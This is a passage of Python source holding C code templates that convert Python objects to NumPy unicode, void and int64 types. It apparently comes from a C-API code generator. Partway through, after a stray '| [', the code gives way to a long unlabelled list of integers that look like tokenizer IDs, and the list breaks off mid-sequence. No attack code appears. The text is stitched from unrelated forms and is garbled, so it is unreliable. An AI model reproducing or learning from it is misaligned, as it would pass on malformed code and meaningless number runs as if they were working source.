Py_ssize_t l = PyUnicode_GET_DATA_SIZE(obj);
ptr->data = malloc(l);
ptr->size = PyUnicode_GET_SIZE(obj);
return_value = !! memcpy(ptr->data,PyUnicode_AS_UNICODE(obj),l);
} else {
PyObject* sc = PyUnicodeArrType_Type.tp_new(
&PyUnicodeArrType_Type,Py_BuildValue("(O)",obj),NULL);
if (sc==NULL) ;
else if (PyArray_IsScalar(sc, Generic))
return_value = pyobj_to_npy_unicode(sc, ptr);
else
return_value = pyobj_to_npy_unicode(PyArray_ScalarFromObject(sc), ptr);
}
if (!return_value && !PyErr_Occurred()) {
PyObject* r = PyString_FromString("Failed to convert ");
PyString_ConcatAndDel(&r, PyObject_Repr(PyObject_Type(obj)));
PyString_ConcatAndDel(&r, PyString_FromString(" to C Py_UNICODE*"));
PyErr_SetObject(PyExc_TypeError,r);
}
return return_value;
}''')
implementation['clean_pyobj_to_npy_unicode'] = dict(\
code = '''\
static void clean_pyobj_to_npy_unicode(npy_unicode * ptr) {
if ((ptr->data) != NULL) {
free(ptr->data);
ptr->size = 0;
}
}
''')
implementation['pyobj_from_npy_unicode'] = dict(\
code = '''\
static PyObject* pyobj_from_npy_unicode(npy_unicode *ptr) {
PyObject* sc = PyUnicodeArrType_Type.tp_new(
&PyUnicodeArrType_Type,Py_BuildValue("(O)",PyUnicode_FromUnicode(ptr->data, ptr->size)),NULL);
return sc;
}''')
implementation['pyobj_to_numpy_void'] = dict(\
code = '''\
static int pyobj_to_numpy_void(PyObject *obj, PyVoidScalarObject** ptr) {
int return_value = 0;
if (PyArray_IsScalar(obj, Void)) {
*ptr = (PyVoidScalarObject*)obj;
return_value = 1;
} else {
PyObject* sc = PyVoidArrType_Type.tp_new(
&PyVoidArrType_Type,Py_BuildValue("(O)",obj),NULL);
if (sc==NULL) ;
else if (PyArray_IsScalar(sc, Generic))
return_value = pyobj_to_numpy_void(sc, ptr);
else
return_value = pyobj_to_numpy_void(PyArray_ScalarFromObject(sc), ptr);
}
if (!return_value && !PyErr_Occurred()) {
PyObject* r = PyString_FromString("Failed to convert ");
PyString_ConcatAndDel(&r, PyObject_Repr(PyObject_Type(obj)));
PyString_ConcatAndDel(&r, PyString_FromString(" to C PyVoidScalarObject*"));
PyErr_SetObject(PyExc_TypeError,r);
}
return return_value;
}
''')
implementation['pyobj_to_numpy_array_int64'] = dict(\
code = '''\
static int pyobj_to_numpy_array_int64(PyObject *obj, PyArrayObject** ptr) {
int return_value = 0;
if (PyArray_Check(obj)) {
if (PyArray_TYPE(obj)==PyArray_INT64) {
*ptr = (PyArrayObject*)obj;
return_value = 1;
}
} else {
PyObject* arr = PyArray_FROM_OT(obj, PyArray_INT64);
return_value = pyobj_to_numpy_array_int64(arr, ptr);
}
if (!return_value && !PyErr_Occurred()) {
PyObject* r = PyString_FromString("Failed to convert ");
PyString_ConcatAndDel(&r, PyObject_Repr(PyObject_Type(obj)));
PyString_ConcatAndDel(&r, PyString_FromString(" to C "));
PyErr_SetObject(PyExc_TypeError,r);
}
return return_value;
}
'''
)
| [
1,
529,
9507,
29958,
1062,
1885,
29914,
29883,
2754,
29889,
2272,
13,
3166,
4770,
29888,
9130,
1649,
1053,
8380,
29918,
5215,
13,
13,
5215,
12655,
13,
13,
21382,
353,
9657,
580,
13,
1017,
9795,
1389,
29879,
353,
9657,
580,
13,
8628,
1883,
353,
9657,
580,
13,
13,
1017,
9795,
1389,
29879,
1839,
29876,
2272,
29918,
2523,
356,
2033,
353,
9657,
1194,
13,
1678,
775,
353,
525,
1017,
9795,
1389,
2281,
426,
10772,
29918,
3904,
2965,
29949,
2287,
29930,
848,
29936,
10772,
29918,
893,
675,
29918,
29873,
2159,
29936,
500,
302,
2272,
29918,
2523,
356,
29936,
1495,
13,
1017,
9795,
1389,
29879,
1839,
29876,
2272,
29918,
1807,
2033,
353,
9657,
1194,
13,
1678,
775,
353,
525,
1017,
9795,
1389,
2281,
426,
1373,
29930,
848,
29936,
10772,
29918,
893,
675,
29918,
29873,
2159,
29936,
500,
302,
2272,
29918,
1807,
29936,
1495,
13,
13,
8628,
1883,
1839,
3235,
29918,
26707,
29918,
26019,
2033,
353,
9657,
1194,
13,
1678,
775,
353,
14550,
29905,
13,
29937,
7922,
8519,
29918,
26707,
29918,
26019,
29898,
2272,
312,
668,
29892,
1024,
29892,
1024,
29918,
710,
29897,
2474,
13,
29898,
978,
2804,
4265,
29897,
426,
1966,
13,
29871,
565,
5135,
19737,
2061,
29918,
3624,
4998,
29898,
978,
29892,
313,
19737,
2061,
7528,
2272,
312,
668,
29897,
1360,
29896,
29897,
2474,
13,
418,
2607,
5384,
19737,
21533,
29918,
2697,
2001,
1231,
29898,
29883,
2754,
29918,
2997,
29879,
29892,
1024,
29918,
710,
29892,
1024,
4961,
12008,
13,
1678,
1723,
13,
13,
8628,
1883,
1839,
10490,
29918,
5746,
4741,
7982,
2725,
29918,
26019,
2033,
353,
9657,
1194,
13,
1678,
775,
353,
14550,
29905,
13,
29937,
7922,
11368,
29918,
5746,
4741,
7982,
2725,
29918,
26019,
29898,
2272,
312,
668,
29892,
1024,
29892,
1024,
29918,
710,
29892,
2069,
29918,
710,
29897,
2474,
13,
29871,
565,
5384,
19737,
19212,
29918,
22034,
332,
1127,
3101,
426,
2474,
13,
1678,
10772,
2061,
29930,
364,
353,
10772,
1231,
29918,
4591,
1231,
703,
9684,
14796,
2474,
13,
1678,
10772,
1231,
29918,
1168,
4117,
2855,
13157,
6243,
29878,
29892,
10772,
2061,
29918,
1123,
558,
3552,
19737,
2061,
7528,
2272,
312,
668,
2483,
2474,
13,
1678,
10772,
1231,
29918,
1168,
4117,
2855,
13157,
6243,
29878,
29892,
10772,
1231,
29918,
4591,
1231,
703,
1203,
1550,
2847,
5281,
376,
1024,
29918,
710,
9162,
2355,
376,
2483,
2474,
13,
1678,
10772,
1231,
29918,
1168,
4117,
2855,
13157,
6243,
29878,
29892,
10772,
2061,
29918,
1123,
558,
29898,
19737,
2061,
29918,
1542,
29898,
978,
17884,
2474,
13,
1678,
10772,
1231,
29918,
1168,
4117,
2855,
13157,
6243,
29878,
29892,
10772,
1231,
29918,
4591,
1231,
703,
1203,
515,
10248,
2069,
29918,
710,
29724,
8983,
2474,
13,
1678,
10772,
19212,
29918,
2697,
2061,
29898,
19737,
1252,
29883,
29918,
1542,
2392,
29892,
29878,
416,
1966,
13,
29871,
500,
2474,
13,
19737,
29918,
2287,
22245,
29943,
29898,
978,
416,
2474,
13,
29913,
12008,
13,
1678,
1723,
13,
13,
29879,
312,
668,
14836,
353,
9657,
29898,
13,
1678,
3159,
353,
518,
29947,
29892,
29871,
29896,
29953,
29892,
29871,
29941,
29906,
29892,
29871,
29953,
29946,
29892,
29871,
29896,
29906,
29947,
29892,
29871,
29906,
29945,
29953,
1402,
13,
1678,
501,
2928,
353,
518,
29947,
29892,
29871,
29896,
29953,
29892,
29871,
29941,
29906,
29892,
29871,
29953,
29946,
29892,
29871,
29896,
29906,
29947,
29892,
29871,
29906,
29945,
29953,
1402,
13,
1678,
27842,
353,
518,
29896,
29953,
29892,
29871,
29941,
29906,
29892,
29871,
29953,
29946,
29892,
29871,
29947,
29900,
29892,
29871,
29929,
29953,
29892,
29871,
29896,
29906,
29947,
29892,
29871,
29906,
29945,
29953,
1402,
13,
1678,
26596,
353,
518,
29941,
29906,
29892,
29871,
29953,
29946,
29892,
29871,
29896,
29906,
29947,
29892,
29871,
29896,
29953,
29900,
29892,
29871,
29896,
29929,
29906,
29892,
29871,
29906,
29945,
29953,
29892,
29871,
29945,
29896,
29906,
1402,
13,
1678,
1723,
13,
13,
6886,
29918,
517,
29918,
29876,
2272,
29918,
19529,
279,
353,
14550,
13,
7959,
938,
11451,
5415,
29918,
517,
29918,
29995,
29898,
312,
668,
29897,
29879,
29898,
19737,
2061,
29930,
5446,
29892,
1273,
29898,
312,
668,
29897,
29879,
29930,
23246,
29897,
426,
13,
29871,
938,
736,
29918,
1767,
353,
29871,
29900,
29936,
13,
29871,
565,
313,
19737,
2588,
29918,
3624,
29636,
279,
29898,
5415,
29892,
1273,
29898,
29907,
3137,
29897,
29879,
876,
426,
13,
1678,
334,
7414,
353,
313,
29995,
29898,
312,
668,
29897,
29879,
29897,
19737,
2588,
29636,
279,
29918,
8932,
29898,
5415,
24163,
29898,
29907,
3137,
29897,
29879,
416,
13,
1678,
736,
29918,
1767,
353,
29871,
29896,
29936,
13,
29871,
500,
1683,
565,
313,
19737,
20529,
29918,
5596,
29898,
5415,
876,
426,
13,
1678,
565,
313,
19737,
20529,
29918,
3505,
29898,
5415,
29897,
1360,
29896,
29897,
13,
418,
736,
29918,
1767,
353,
11451,
5415,
29918,
517,
29918,
29995,
29898,
312,
668,
29897,
29879,
29898,
19737,
20529,
29918,
2577,
2001,
29898,
5415,
29892,
29900,
511,
23246,
416,
13,
29871,
500,
1683,
426,
13,
1678,
10772,
2061,
29930,
885,
353,
10772,
29995,
29898,
29907,
3137,
29897,
29879,
16401,
1542,
29918,
1542,
29889,
9392,
29918,
1482,
29898,
13,
418,
669,
19737,
29995,
29898,
29907,
3137,
29897,
29879,
16401,
1542,
29918,
1542,
29892,
19737,
29918,
8893,
1917,
703,
29898,
29949,
19123,
5415,
511,
10074,
416,
13,
1678,
565,
313,
1557,
1360,
10074,
29897,
2056,
13,
1678,
1683,
565,
313,
19737,
2588,
29918,
3624,
29636,
279,
29898,
1557,
29892,
3251,
293,
876,
13,
418,
736,
29918,
1767,
353,
11451,
5415,
29918,
517,
29918,
29995,
29898,
312,
668,
29897,
29879,
29898,
1557,
29892,
23246,
416,
13,
1678,
1683,
13,
418,
736,
29918,
1767,
353,
11451,
5415,
29918,
517,
29918,
29995,
29898,
312,
668,
29897,
29879,
29898,
19737,
2588,
29918,
29636,
279,
4591,
2061,
29898,
1557,
511,
23246,
416,
13,
29871,
500,
13,
29871,
565,
5384,
2457,
29918,
1767,
2607,
1738,
19737,
19212,
29918,
22034,
332,
1127,
3101,
426,
13,
1678,
10772,
2061,
29930,
364,
353,
10772,
1231,
29918,
4591,
1231,
703,
17776,
304,
3588,
14796,
13,
1678,
10772,
1231,
29918,
1168,
4117,
2855,
13157,
6243,
29878,
29892,
10772,
2061,
29918,
1123,
558,
29898,
19737,
2061,
29918,
1542,
29898,
5415,
17884,
13,
1678,
10772,
1231,
29918,
1168,
4117,
2855,
13157,
6243,
29878,
29892,
10772,
1231,
29918,
4591,
1231,
703,
304,
315,
1273,
29898,
312,
668,
29897,
29879,
8983,
13,
1678,
10772,
19212,
29918,
2697,
2061,
29898,
19737,
1252,
29883,
29918,
1542,
2392,
29892,
29878,
416,
13,
29871,
500,
13,
29871,
736,
736,
29918,
1767,
29936,
13,
29913,
13,
12008,
13,
13,
6886,
29918,
3166,
29918,
29876,
2272,
29918,
19529,
279,
353,
14550,
13,
7959,
10772,
2061,
29930,
11451,
5415,
29918,
3166,
29918,
29995,
29898,
312,
668,
29897,
29879,
29414,
29898,
312,
668,
29897,
29879,
29930,
995,
29897,
426,
13,
29871,
10772,
2061,
29930,
5446,
353,
10772,
2588,
29636,
279,
29918,
4373,
29414,
29898,
29907,
3137,
29897,
29879,
416,
13,
29871,
565,
313,
5415,
1360,
10074,
29897,
4949,
14402,
29901,
731,
3682,
3776,
736,
4265,
29936,
13,
29871,
10772,
2588,
29636,
279,
29918,
22933,
17298,
29898,
5415,
24163,
29898,
29907,
3137,
29897,
29879,
29892,
29930,
1767,
416,
13,
29871,
736,
5446,
29936,
13,
29913,
13,
12008,
13,
13,
6886,
29918,
517,
29918,
29876,
2272,
29918,
19676,
29918,
19529,
279,
353,
14550,
13,
7959,
938,
11451,
5415,
29918,
517,
29918,
29995,
29898,
312,
668,
29897,
29879,
29898,
19737,
2061,
29930,
5446,
29892,
1273,
29898,
312,
668,
29897,
29879,
29930,
23246,
29897,
426,
13,
29871,
938,
736,
29918,
1767,
353,
29871,
29900,
29936,
13,
29871,
565,
313,
5415,
1360,
10074,
29897,
2056,
13,
29871,
1683,
565,
313,
19737,
2588,
29918,
3624,
29636,
279,
29898,
5415,
24163,
29898,
29907,
3137,
29897,
29879,
876,
426,
13,
1678,
23246,
976,
6370,
353,
10772,
2588,
29636,
279,
29918,
8932,
29898,
5415,
24163,
29898,
29907,
3137,
29897,
29879,
467,
6370,
29936,
13,
1678,
23246,
976,
326,
351,
353,
10772,
2588,
29636,
279,
29918,
8932,
29898,
5415,
24163,
29898,
29907,
3137,
29897,
29879,
467,
326,
351,
29936,
13,
1678,
736,
29918,
1767,
353,
29871,
29896,
29936,
13,
29871,
500,
13,
29871,
1683,
565,
313,
19737,
20529,
29918,
5596,
29898,
5415,
876,
426,
13,
1678,
565,
313,
19737,
20529,
29918,
3505,
29898,
5415,
29897,
1360,
29896,
29897,
13,
418,
736,
29918,
1767,
353,
11451,
5415,
29918,
517,
29918,
29995,
29898,
312,
668,
29897,
29879,
29898,
19737,
20529,
29918,
2577,
2001,
29898,
5415,
29892,
29900,
511,
7414,
416,
13,
1678,
1683,
565,
313,
19737,
20529,
29918,
3505,
29898,
5415,
29897,
1360,
29906,
29897,
426,
13,
418,
736,
29918,
1767,
353,
11451,
5415,
29918,
517,
29918,
29995,
29898,
29888,
312,
668,
29897,
29879,
29898,
19737,
20529,
29918,
2577,
2001,
29898,
5415,
29892,
29900,
511,
29987,
29898,
7414,
976,
6370,
876,
13,
462,
268,
2607,
11451,
5415,
29918,
517,
29918,
29995,
29898,
29888,
312,
668,
29897,
29879,
29898,
19737,
20529,
29918,
2577,
2001,
29898,
5415,
29892,
29896,
511,
29987,
29898,
7414,
976,
326,
351,
2483,
13,
1678,
500,
13,
29871,
500,
1683,
426,
13,
1678,
10772,
2061,
29930,
885,
353,
10772,
29995,
29898,
29907,
3137,
29897,
29879,
16401,
1542,
29918,
1542,
29889,
9392,
29918,
1482,
29898,
13,
418,
669,
19737,
29995,
29898,
29907,
3137,
29897,
29879,
16401,
1542,
29918,
1542,
29892,
19737,
29918,
8893,
1917,
703,
29898,
29949,
19123,
5415,
511,
10074,
416,
13,
1678,
565,
313,
1557,
1360,
10074,
29897,
2056,
13,
1678,
1683,
565,
313,
19737,
2588,
29918,
3624,
29636,
279,
29898,
1557,
29892,
3251,
293,
876,
13,
418,
736,
29918,
1767,
353,
11451,
5415,
29918,
517,
29918,
29995,
29898,
312,
668,
29897,
29879,
29898,
1557,
29892,
23246,
416,
13,
1678,
1683,
13,
418,
736,
29918,
1767,
353,
11451,
5415,
29918,
517,
29918,
29995,
29898,
312,
668,
29897,
29879,
29898,
19737,
2588,
29918,
29636,
279,
4591,
2061,
29898,
1557,
511,
23246,
416,
13,
29871,
500,
13,
29871,
565,
5384,
2457,
29918,
1767,
2607,
1738,
19737,
19212,
29918,
22034,
332,
1127,
3101,
426,
13,
1678,
10772,
2061,
29930,
364,
353,
10772,
1231,
29918,
4591,
1231,
703,
17776,
304,
3588,
14796,
13,
1678,
10772,
1231,
29918,
1168,
4117,
2855,
13157,
6243,
29878,
29892,
10772,
2061,
29918,
1123,
558,
29898,
19737,
2061,
29918,
1542,
29898,
5415,
17884,
13,
1678,
10772,
1231,
29918,
1168,
4117,
2855,
13157,
6243,
29878,
29892,
10772,
1231,
29918,
4591,
1231,
703,
304,
315,
1273,
29898,
312,
668,
29897,
29879,
8983,
13,
1678,
10772,
19212,
29918,
2697,
2061,
29898,
19737,
1252,
29883,
29918,
1542,
2392,
29892,
29878,
416,
13,
29871,
500,
13,
29871,
736,
736,
29918,
1767,
29936,
13,
29913,
13,
12008,
13,
13,
6886,
29918,
3166,
29918,
29876,
2272,
29918,
19676,
29918,
19529,
279,
353,
14550,
13,
7959,
10772,
2061,
29930,
11451,
5415,
29918,
3166,
29918,
29995,
29898,
312,
668,
29897,
29879,
29414,
29898,
312,
668,
29897,
29879,
29930,
995,
29897,
426,
13,
29871,
10772,
2061,
29930,
5446,
353,
10772,
2588,
29636,
279,
29918,
4373,
29414,
29898,
29907,
3137,
29897,
29879,
416,
13,
29871,
565,
313,
5415,
1360,
10074,
29897,
4949,
14402,
29901,
731,
3682,
3776,
736,
4265,
29936,
13,
29871,
10772,
2588,
29636,
279,
29918,
22933,
17298,
29898,
5415,
24163,
29898,
29907,
3137,
29897,
29879,
29892,
29930,
1767,
416,
13,
29871,
736,
5446,
29936,
13,
29913,
13,
12008,
13,
13,
6886,
29918,
517,
29918,
23749,
29918,
19529,
279,
353,
14550,
13,
7959,
938,
11451,
5415,
29918,
517,
29918,
29995,
29898,
312,
668,
29918,
978,
29897,
29879,
29898,
19737,
2061,
29930,
5446,
29892,
1273,
29898,
312,
668,
29897,
29879,
29930,
23246,
29897,
426,
13,
29871,
938,
736,
29918,
1767,
353,
29871,
29900,
29936,
13,
29871,
565,
313,
19737,
2588,
29918,
3624,
29636,
279,
29898,
5415,
29892,
1273,
29898,
29907,
3137,
29897,
29879,
876,
426,
13,
1678,
334,
7414,
353,
313,
29995,
29898,
312,
668,
29897,
29879,
29897,
5415,
29936,
13,
1678,
736,
29918,
1767,
353,
29871,
29896,
29936,
13,
29871,
500,
1683,
565,
313,
19737,
20529,
29918,
5596,
29898,
5415,
876,
426,
13,
1678,
565,
313,
19737,
20529,
29918,
3505,
29898,
5415,
29897,
1360,
29896,
29897,
13,
418,
736,
29918,
1767,
353,
11451,
5415,
29918,
517,
29918,
29995,
29898,
312,
668,
29918,
978,
29897,
29879,
29898,
19737,
20529,
29918,
2577,
2001,
29898,
5415,
29892,
29900,
511,
23246,
416,
13,
29871,
500,
1683,
426,
13,
1678,
10772,
2061,
29930,
885,
353,
10772,
29995,
29898,
29907,
3137,
29897,
29879,
16401,
1542,
29918,
1542,
29889,
9392,
29918,
1482,
29898,
13,
418,
669,
19737,
29995,
29898,
29907,
3137,
29897,
29879,
16401,
1542,
29918,
1542,
29892,
19737,
29918,
8893,
1917,
703,
29898,
29949,
19123,
5415,
511,
10074,
416,
13,
1678,
565,
313,
1557,
1360,
10074,
29897,
2056,
13,
1678,
1683,
565,
313,
19737,
2588,
29918,
3624,
29636,
279,
29898,
1557,
29892,
3251,
293,
876,
13,
418,
736,
29918,
1767,
353,
11451,
5415,
29918,
517,
29918,
29995,
29898,
312,
668,
29918,
978,
29897,
29879,
29898,
1557,
29892,
23246,
416,
13,
1678,
1683,
13,
418,
736,
29918,
1767,
353,
11451,
5415,
29918,
517,
29918,
29995,
29898,
312,
668,
29918,
978,
29897,
29879,
29898,
19737,
2588,
29918,
29636,
279,
4591,
2061,
29898,
1557,
511,
23246,
416,
13,
29871,
500,
13,
29871,
565,
5384,
2457,
29918,
1767,
2607,
1738,
19737,
19212,
29918,
22034,
332,
1127,
3101,
426,
13,
1678,
10772,
2061,
29930,
364,
353,
10772,
1231,
29918,
4591,
1231,
703,
17776,
304,
3588,
14796,
13,
1678,
10772,
1231,
29918,
1168,
4117,
2855,
13157,
6243,
29878,
29892,
10772,
2061,
29918,
1123,
558,
29898,
19737,
2061,
29918,
1542,
29898,
5415,
17884,
13,
1678,
10772,
1231,
29918,
1168,
4117,
2855,
13157,
6243,
29878,
29892,
10772,
1231,
29918,
4591,
1231,
703,
304,
315,
1273,
29898,
312,
668,
29897,
29879,
8983,
13,
1678,
10772,
19212,
29918,
2697,
2061,
29898,
19737,
1252,
29883,
29918,
1542,
2392,
29892,
29878,
416,
13,
29871,
500,
13,
29871,
736,
736,
29918,
1767,
29936,
13,
29913,
13,
12008,
13,
13,
6886,
29918,
517,
29918,
23749,
29918,
19676,
29918,
19529,
279,
353,
14550,
13,
7959,
938,
11451,
5415,
29918,
517,
29918,
29995,
29898,
312,
668,
29918,
978,
29897,
29879,
29898,
19737,
2061,
29930,
5446,
29892,
1273,
29898,
312,
668,
29897,
29879,
29930,
23246,
29897,
426,
13,
29871,
938,
736,
29918,
1767,
353,
29871,
29900,
29936,
13,
29871,
565,
313,
5415,
1360,
10074,
29897,
2056,
13,
29871,
1683,
565,
313,
19737,
2588,
29918,
3624,
29636,
279,
29898,
5415,
24163,
29898,
29907,
3137,
29897,
29879,
876,
426,
13,
1678,
334,
7414,
353,
313,
29995,
29898,
312,
668,
29897,
29879,
29897,
5415,
29936,
13,
1678,
736,
29918,
1767,
353,
29871,
29896,
29936,
13,
29871,
500,
13,
29871,
1683,
565,
313,
19737,
20529,
29918,
5596,
29898,
5415,
876,
426,
13,
1678,
565,
313,
19737,
20529,
29918,
3505,
29898,
5415,
29897,
1360,
29896,
29897,
13,
418,
736,
29918,
1767,
353,
11451,
5415,
29918,
517,
29918,
29995,
29898,
312,
668,
29918,
978,
29897,
29879,
29898,
19737,
20529,
29918,
2577,
2001,
29898,
5415,
29892,
29900,
511,
7414,
416,
13,
1678,
1683,
565,
313,
19737,
20529,
29918,
3505,
29898,
5415,
29897,
1360,
29906,
29897,
426,
13,
418,
1273,
29898,
29888,
312,
668,
29897,
29879,
364,
353,
313,
29995,
29898,
29888,
312,
668,
29897,
29879,
29897,
19737,
2588,
29636,
279,
29918,
4373,
29414,
29898,
8610,
3137,
29897,
29879,
416,
13,
418,
565,
313,
29878,
19216,
10074,
29897,
426,
13,
4706,
1273,
29898,
29888,
312,
668,
29897,
29879,
474,
353,
313,
29995,
29898,
29888,
312,
668,
29897,
29879,
29897,
19737,
2588,
29636,
279,
29918,
4373,
29414,
29898,
8610,
3137,
29897,
29879,
416,
13,
4706,
565,
313,
29875,
19216,
10074,
29897,
426,
13,
3986,
736,
29918,
1767,
353,
11451,
5415,
29918,
517,
29918,
29995,
29898,
29888,
312,
668,
29918,
978,
29897,
29879,
29898,
19737,
20529,
29918,
2577,
2001,
29898,
5415,
29892,
29900,
511,
29987,
29878,
29897,
13,
462,
308,
2607,
11451,
5415,
29918,
517,
29918,
29995,
29898,
29888,
312,
668,
29918,
978,
29897,
29879,
29898,
19737,
20529,
29918,
2577,
2001,
29898,
5415,
29892,
29896,
511,
29987,
29875,
416,
13,
3986,
565,
313,
2457,
29918,
1767,
29897,
426,
13,
9651,
334,
7414,
29871,
353,
313,
29995,
29898,
312,
668,
29897,
29879,
29897,
19737,
2588,
29636,
279,
29918,
4373,
29414,
29898,
29907,
3137,
29897,
29879,
416,
13,
9651,
565,
3070,
7414,
19216,
10074,
29897,
426,
13,
795,
10772,
2588,
29636,
279,
29918,
8932,
10456,
7414,
29892,
1273,
29898,
29907,
3137,
29897,
29879,
467,
6370,
353,
10772,
2588,
29636,
279,
29918,
8932,
29898,
29878,
29892,
1273,
29898,
8610,
3137,
29897,
29879,
416,
13,
795,
10772,
2588,
29636,
279,
29918,
8932,
10456,
7414,
29892,
1273,
29898,
29907,
3137,
29897,
29879,
467,
326,
351,
353,
10772,
2588,
29636,
279,
29918,
8932,
29898,
29875,
29892,
1273,
29898,
8610,
3137,
29897,
29879,
416,
13,
9651,
500,
1683,
426,
13,
795,
736,
29918,
1767,
353,
29871,
29900,
29936,
13,
9651,
500,
13,
3986,
500,
13,
4706,
10772,
29918,
2287,
22245,
29943,
29898,
29875,
416,
13,
4706,
500,
13,
418,
10772,
29918,
2287,
22245,
29943,
29898,
29878,
416,
13,
418,
500,
13,
1678,
500,
13,
29871,
500,
1683,
426,
13,
1678,
10772,
2061,
29930,
885,
353,
10772,
29995,
29898,
29907,
3137,
29897,
29879,
16401,
1542,
29918,
1542,
29889,
9392,
29918,
1482,
29898,
13,
418,
669,
19737,
29995,
29898,
29907,
3137,
29897,
29879,
16401,
1542,
29918,
1542,
29892,
19737,
29918,
8893,
1917,
703,
29898,
29949,
19123,
5415,
511,
10074,
416,
13,
1678,
565,
313,
1557,
1360,
10074,
29897,
2056,
13,
1678,
1683,
565,
313,
19737,
2588,
29918,
3624,
29636,
279,
29898,
1557,
29892,
3251,
293,
876,
13,
418,
736,
29918,
1767,
353,
11451,
5415,
29918,
517,
29918,
29995,
29898,
312,
668,
29918,
978,
29897,
29879,
29898,
1557,
29892,
23246,
416,
13,
1678,
1683,
13,
418,
736,
29918,
1767,
353,
11451,
5415,
29918,
517,
29918,
29995,
29898,
312,
668,
29918,
978,
29897,
29879,
29898,
19737,
2588,
29918,
29636,
279,
4591,
2061,
29898,
1557,
511,
23246,
416,
13,
29871,
500,
13,
29871,
565,
5384,
2457,
29918,
1767,
2607,
1738,
19737,
19212,
29918,
22034,
332,
1127,
3101,
426,
13,
1678,
10772,
2061,
29930,
364,
353,
10772,
1231,
29918,
4591,
1231,
703,
17776,
304,
3588,
14796,
13,
1678,
10772,
1231,
29918,
1168,
4117,
2855,
13157,
6243,
29878,
29892,
10772,
2061,
29918,
1123,
558,
29898,
19737,
2061,
29918,
1542,
29898,
5415,
17884,
13,
1678,
10772,
1231,
29918,
1168,
4117,
2855,
13157,
6243,
29878,
29892,
10772,
1231,
29918,
4591,
1231,
703,
304,
315,
1273,
29898,
312,
668,
29897,
29879,
8983,
13,
1678,
10772,
19212,
29918,
2697,
2061,
29898,
19737,
1252,
29883,
29918,
1542,
2392,
29892,
29878,
416,
13,
29871,
500,
13,
29871,
736,
736,
29918,
1767,
29936,
13,
29913,
13,
12008,
13,
13,
1454,
2233,
29879,
29918,
978,
29892,
9978,
29918,
1761,
297,
1051,
29898,
29879,
312,
668,
14836,
29889,
7076,
580,
1125,
13,
1678,
363,
9978,
297,
9978,
29918,
1761,
29901,
13,
4706,
302,
353,
2233,
29879,
29918,
978,
29889,
13609,
580,
718,
851,
29898,
14836,
29897,
13,
4706,
2233,
29879,
353,
2233,
29879,
29918,
978,
718,
851,
29898,
14836,
29897,
13,
4706,
274,
1853,
353,
525,
29876,
2272,
29918,
29915,
718,
302,
13,
4706,
7876,
353,
525,
7411,
29915,
718,
851,
29898,
14836,
29914,
29906,
29897,
13,
4706,
7992,
3137,
353,
525,
11031,
29915,
718,
851,
29898,
14836,
29914,
29906,
29897,
13,
4706,
285,
312,
668,
353,
525,
29876,
2272,
29918,
29915,
718,
7876,
13,
4706,
286,
353,
9657,
29898,
312,
668,
29922,
312,
668,
29892,
2233,
29879,
29922,
29907,
3137,
29892,
285,
312,
668,
29922,
29888,
312,
668,
29897,
13,
4706,
363,
413,
297,
6024,
517,
742,
525,
3166,
2033,
29901,
13,
9651,
7111,
353,
5159,
13,
9651,
565,
2233,
29879,
29918,
978,
1360,
29915,
8909,
29916,
2396,
13,
18884,
775,
353,
19745,
877,
6886,
29918,
18717,
29895,
29974,
15972,
29876,
2272,
29918,
19676,
29918,
19529,
279,
1495,
1273,
286,
13,
18884,
565,
413,
1360,
29915,
517,
2396,
13,
462,
1678,
7111,
353,
6024,
2272,
5415,
29918,
18717,
29895,
29974,
15972,
29876,
2272,
29918,
18717,
9144,
29962,
13,
9651,
1683,
29901,
13,
18884,
775,
353,
19745,
877,
6886,
29918,
18717,
29895,
29974,
15972,
29876,
2272,
29918,
19529,
279,
1495,
1273,
286,
13,
9651,
5314,
1839,
2272,
5415,
29918,
18717,
29895,
29974,
15972,
18717,
312,
668,
29962,
353,
9657,
29898,
13,
18884,
775,
353,
775,
29892,
13,
18884,
7111,
353,
7111,
29892,
13,
18884,
1723,
13,
13,
4706,
274,
1853,
353,
525,
19737,
29995,
29879,
29636,
279,
2061,
29930,
29915,
1273,
313,
29907,
3137,
29897,
13,
4706,
274,
1853,
29918,
978,
353,
525,
23749,
29918,
29915,
718,
302,
13,
4706,
7876,
353,
525,
7411,
29915,
718,
851,
29898,
14836,
29914,
29906,
29897,
13,
4706,
7992,
3137,
353,
525,
11031,
29915,
718,
851,
29898,
14836,
29914,
29906,
29897,
13,
4706,
285,
312,
668,
353,
525,
19737,
29995,
29879,
29636,
279,
2061,
29930,
29915,
1273,
313,
8610,
3137,
29897,
13,
4706,
285,
312,
668,
29918,
978,
353,
525,
23749,
29918,
29915,
718,
7876,
13,
13,
4706,
286,
353,
9657,
29898,
312,
668,
29922,
312,
668,
29892,
274,
1853,
29918,
978,
29922,
312,
668,
29918,
978,
29892,
13,
462,
2233,
29879,
29922,
29907,
3137,
29892,
285,
312,
668,
29922,
29888,
312,
668,
29892,
7992,
3137,
29922,
8610,
3137,
29892,
13,
462,
285,
312,
668,
29918,
978,
29922,
29888,
312,
668,
29918,
978,
29897,
13,
4706,
565,
2233,
29879,
29918,
978,
1360,
29915,
8909,
29916,
2396,
13,
9651,
775,
353,
4472,
29918,
517,
29918,
23749,
29918,
19676,
29918,
19529,
279,
1273,
286,
13,
9651,
7111,
353,
6024,
2272,
5415,
29918,
517,
29918,
18717,
29888,
312,
668,
29918,
978,
29962,
13,
4706,
1683,
29901,
13,
9651,
775,
353,
4472,
29918,
517,
29918,
23749,
29918,
19529,
279,
1273,
286,
13,
9651,
7111,
353,
5159,
13,
4706,
5314,
1839,
2272,
5415,
29918,
517,
29918,
18717,
312,
668,
29918,
978,
29962,
353,
9657,
29898,
13,
9651,
775,
353,
775,
29892,
13,
9651,
7111,
353,
7111,
29892,
13,
9651,
1723,
13,
13,
21382,
1839,
2272,
5415,
29918,
517,
29918,
29876,
2272,
29918,
11227,
2033,
353,
9657,
1194,
13,
1678,
775,
353,
14550,
29905,
13,
7959,
938,
11451,
5415,
29918,
517,
29918,
29876,
2272,
29918,
11227,
29898,
19737,
2061,
334,
5415,
29892,
302,
2272,
29918,
11227,
29930,
23246,
29897,
426,
13,
29871,
938,
736,
29918,
1767,
353,
29871,
29900,
29936,
13,
29871,
565,
313,
5415,
1360,
10074,
29897,
2056,
13,
29871,
1683,
565,
313,
19737,
2588,
29918,
3624,
29636,
279,
29898,
5415,
29892,
18912,
876,
426,
13,
1678,
334,
7414,
353,
10772,
2588,
29636,
279,
29918,
8932,
29898,
5415,
29892,
18912,
416,
13,
1678,
736,
29918,
1767,
353,
29871,
29896,
29936,
13,
29871,
500,
1683,
426,
13,
1678,
4607,
313,
19737,
2061,
